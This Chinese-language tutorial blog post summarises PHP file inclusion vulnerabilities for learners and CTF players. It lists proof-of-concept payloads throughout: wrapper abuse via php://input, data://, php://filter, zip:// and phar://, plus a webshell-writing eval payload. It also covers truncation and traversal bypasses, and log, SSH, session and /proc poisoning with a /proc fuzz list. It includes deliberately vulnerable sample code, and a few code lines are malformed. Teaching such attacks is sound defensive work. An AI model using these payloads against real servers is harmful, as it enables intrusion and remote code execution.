檔案包含漏洞相關知識總結-千鋒教育

千鋒IT教育發表於2022-10-24

1.檔案包含漏洞概念

透過PHP函式引入檔案時,傳入的檔名沒有經過合理的驗證,從而操作了預想之外的檔案,就可能導致意外的檔案洩漏甚至惡意程式碼注入

2.檔案包含漏洞的環境要求

allow_url_fopen=On(預設為On) 規定是否允許從遠端伺服器或者網站檢索資料 allow_url_include=On(php5.2之後預設為Off) 規定是否允許include/require遠端檔案

3.常見檔案包含函式

include()和require()區別

include在引入不存檔案時產生一個警告且指令碼還會繼續執行,require則會導致一個致命性錯誤且指令碼停止執行

新建include.php檔案

<?php
$a='phpinfo1.php';#包含不存在的檔案
include $a;
#require $a;
echo "123";
?>

執行結果:require包含不會顯示123




require_once和include_once該檔案中已經被包含過,則不會再次包含

4.PHP偽協議在檔案包含漏洞中的利用

4.1. php://input

php://input可以訪問請求的原始資料的只讀流,將post請求的資料當作php程式碼執行

如果存在檔案包含漏洞,可將php://input作為檔名傳入,同時在post中注入設定想要注入的程式碼,php執行時就會將post的內容作為php程式碼執行

4.1.1. 使用條件

allow_url_fopen:off/on

allow_url_include:on

4.1.2. 例項

<meta charset="utf8">
<?php
error_reporting(0);
$file=$_GET["file"];
if(stristr($file,"php://filter")||stristr($file,"zip://")||stristr($file,"phar://")||stristr($file,"data:")){
exit('hacker!');
}
if($file){
    if($file!=")echo"tips:flag在當前目錄的某個檔案中";
    include($file);
}else{
    echo'click go baidu';
}
?>

執行任意程式碼poc:

?file=php://input
post資料:
<?php phpinfo(); ?>

寫入木馬poc:

?file=php://input
post資料:
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

讀取目錄結構poc:

?file=php://inputpost資料:
post資料:
<?php print_r(scandir('/var/www/html'));?>

4.2. data://

4.2.1. poc

data://[<MIME-type>][;charset=<encoding>][;base64],<data>
?file=data://,<?php phpinfo();
?file=data://text//plain,<?php phpinfo();
?file=data://text/plain;base64,xxxxxxxxx
?file=data:text/plain,</php phpinfo();
?file=data:text/plain;base64,xxxxxxxxxx

4.2.2.file://,zip://,compress.zlib://和bzip2://

4.3 使用條件

allow_url_fopen:off/on
allow_url_include:off/on
file://用於訪問本地檔案系統,在CTF中通常用來讀取本地檔案的且不受allow_url_fopen與allow_url_include的影響(相同型別的還有zip://,zlib://和bzip2://)
file://必須是絕對路徑

4.3.2. poc

以zip://為例

要用#分隔壓縮包和壓縮包裡的內容,並且#要用url編碼%23

%23code.txt

先將要執行的PHP程式碼寫好檔名為code.txt,將phpcode.txt進行zip壓縮,壓縮檔名為file.zip,如果可以上傳zip檔案便直接上傳,若不能便將file.zip重新命名為file.jpg後在上傳,其他幾種壓縮格式也可以這樣操作。

4.4. phar://

4.4.1. poc

phar://...(當前指令碼的絕對路徑).../1.zip/1.php

4.5. php://filter

php://filter可以獲取指定檔案原始碼。當它與包含函式結合時,php://filter流會被當作php檔案行。所以我們一般對其進行編碼,讓其不執行。從而導致任意檔案讀取。

poc:

?file=php://filter/resource=xxx.php
或
?file=php://filter/read=convert.base64-encode/resource=xxx.php
或
?file=php://filter/convert.base64-encode/resource=xxx.php #可繞過過濾了操作名read的waf
或
?file=php://filter/read=convert.base64-encode/resource=xxx.php #可用重寫resource繞過正則為"/resource=*.jpg/i"的waf

4.6. 總結

php://input和data://可以注入任意程式碼;file://,zip://,zlib://,bzip2://,phar,php://filter可用於讀取檔案,可以結合檔案上傳漏洞進行利用。

5.檔案包含漏洞的截斷

5.1. %00截斷

5.1.1. 要求

php版本小於5.3.4

magic_quotes_gpc為off狀態

magic_quotes_gpc為on狀態時%00前會被自動加上一個反斜槓轉義

5.1.2. 例項

index.php

<?php
if(empty($_GET["file"])){
echo('../flag.php');
return;
}
else{
$filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';//限制了只能訪問.html字尾名的檔案,如果想訪問.php字尾名的檔案就需要截斷後面的.html
include $filename;
}
?>

poc

index.php?file=../../flag.php%00

5.2. 路徑長度截斷

5.2.1. 要求

php版本小於5.2.8

5.2.2. 作業系統檔案長度限制

  • windows 259個bytes
  • linux 4096個bytes

5.2.3. 例項

index.php

<?php
if(empty($_GET["file"])){
echo('../flag.php');
return;
}
else{
$filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';//限制了只能訪問.html字尾名的檔案,如果想訪問.php字尾名的檔案就需要階段後面的.html
include $filename;
}
?>

5.2.4. poc

windows:
poc1:file=../../flag.php..............................................................................................................................................................................................................................................
poc2:file=../../flag.php./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

5.3.總結

一般來說如果php版本在5.3.4以下,先嚐試使用%00截斷,如果不行再使用路徑長度截斷

6.包含Apache日誌檔案

WEB伺服器一般會將使用者的訪問記錄儲存在訪問日誌中。那麼我們可以根據日誌記錄的內容,精心構造請求,把PHP程式碼插入到日誌檔案中,透過檔案包含漏洞來執行日誌中的PHP程式碼。

6.1. 使用條件

  • 對日誌檔案可讀
  • 知道日誌檔案儲存目錄
  • curl命令列url請求工具(避免url轉碼的存在)

6.2. 獲取日誌存放路徑

日誌預設路徑

(1) apache+Linux日誌預設路徑

/etc/httpd/logs/access_log

/var/log/httpd/access_log

(2) apache+win2003日誌預設路徑

D:\xampp\apache\logs\access.log

D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003預設日誌檔案

C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 預設日誌檔案

%SystemDrive%\inetpub\logs\LogFiles

(5) nginx 日誌檔案

日誌檔案在使用者安裝目錄logs目錄下

以我的安裝路徑為例/usr/local/nginx,

那我的日誌目錄就是在/usr/local/nginx/logs裡

6.3. 利用方式

使用瀏覽器訪問特殊字元會被編碼,可以使用curl避免特殊字元被編碼,但是需要注意的是[ ]在curl是特殊符號,需要進行轉義 ,不然curl使用時會報錯

curl -v "($_POST\[123\]);?>"?page=<?php @eval($_POST\[123\]);?>"

7.包含SSH log 日誌

7.1. 利用條件

需要知道ssh-log的位置,且可讀。預設情況下為 /var/log/auth.log

7.2. 利用方式

首先使用ssh連線

ssh '<?php phpinfo(); ?>'@remotehost

然後隨意輸入密碼

最後結合檔案包含漏洞即可利用

8.包含SESSION

8.1. 利用條件

找到Session內的可控變數

Session檔案可讀寫,並且知道儲存路徑

php的session檔案的儲存路徑可以在phpinfo的session.save_path看到

8.2. session常見儲存路徑

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session檔案格式:sess_[phpsessid] ,而 phpsessid 在傳送的請求的 cookie 欄位中可以看到

9.包含environ

利用條件:

php以cgi方式執行,這樣environ才會保持UA頭。

environ檔案儲存位置已知,且environ檔案可讀。

姿勢:

/proc/self/environ中會儲存user-agent頭。如果在user-agent中插入php程式碼,則php程式碼會被寫入到中。之後再包含它即可。

10.包含/proc/self/fd/[environreferer]

apache的錯誤日誌可能包含在/proc/self/fd/[envrionreferer],例如/proc/self/fd/2,/proc/self/fd/3,/proc/self/fd/10,可以使用burpsuite的測試器模組fuzz出該檔案結構

fuzz字典:
/proc/self/cmdline
/proc/self/stat
/proc/self/status
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35

11.包含臨時檔案

php中上傳檔案,會建立臨時檔案。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄。在臨時檔案被刪除之前,利用競爭即可包含該臨時檔案。

由於包含需要知道包含的檔名。一種方法是進行暴力猜解,linux下使用的隨機函式有缺陷,而window下只有65535中不同的檔名,所以這個方法是可行的。

另一種方法是配合phpinfo頁面的php variables,可以直接獲取到上傳檔案的儲存路徑和臨時檔名,直接包含即可。這個方法可以參考LFI With PHPInfo Assistance

12.其他包含姿勢

包含stmp日誌

包含xss

包含上傳檔案

13.檔案包含漏洞的繞過方法

13.1. 特定字首繞過

13.1.1. 目錄遍歷

使用 …/…/ 來返回上一目錄,被稱為目錄遍歷(Path Traversal)。例如 ?file=…/…/phpinfo/phpinfo.php

13.1.2. 編碼繞過

伺服器端常常會對於…/等做一些過濾,可以用一些編碼來進行繞過。

伺服器端常常會對於…/等做一些過濾,可以用一些編碼來進行繞過。

1.利用url編碼

/%2e%2e%2f
...
%2f%2e%2e/
\%2e%2e%5c
...
%5c%2e%2e\

2.二次編碼

/%252e%252e%252f
/%252e%252e%255c

13.2. 指定字尾繞過

13.2.1. query(?)

[訪問引數] ?file=
[拼接後]  ?file=.txt
?將後面的.txt截斷,web伺服器會認為.txt是一個新的引數
13.2.2. fragment(#)
[訪問引數] ?file=%23
[拼接後]  ?file=#.txt
13.2.3. zip://
[訪問引數] ?file=zip://D:\zip.jpg%23phpinfo
[拼接後]  ?file=zip://D:\zip.jpg#phpinfo.txt
13.2.4. phar://
[訪問引數] ?file=phar://zip.zip/phpinfo
[拼接後]  ?file=phar://zip.zip/phpinfo.txt


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/70023145/viewspace-2920052/,如需轉載,請註明出處,否則將追究法律責任。

相關文章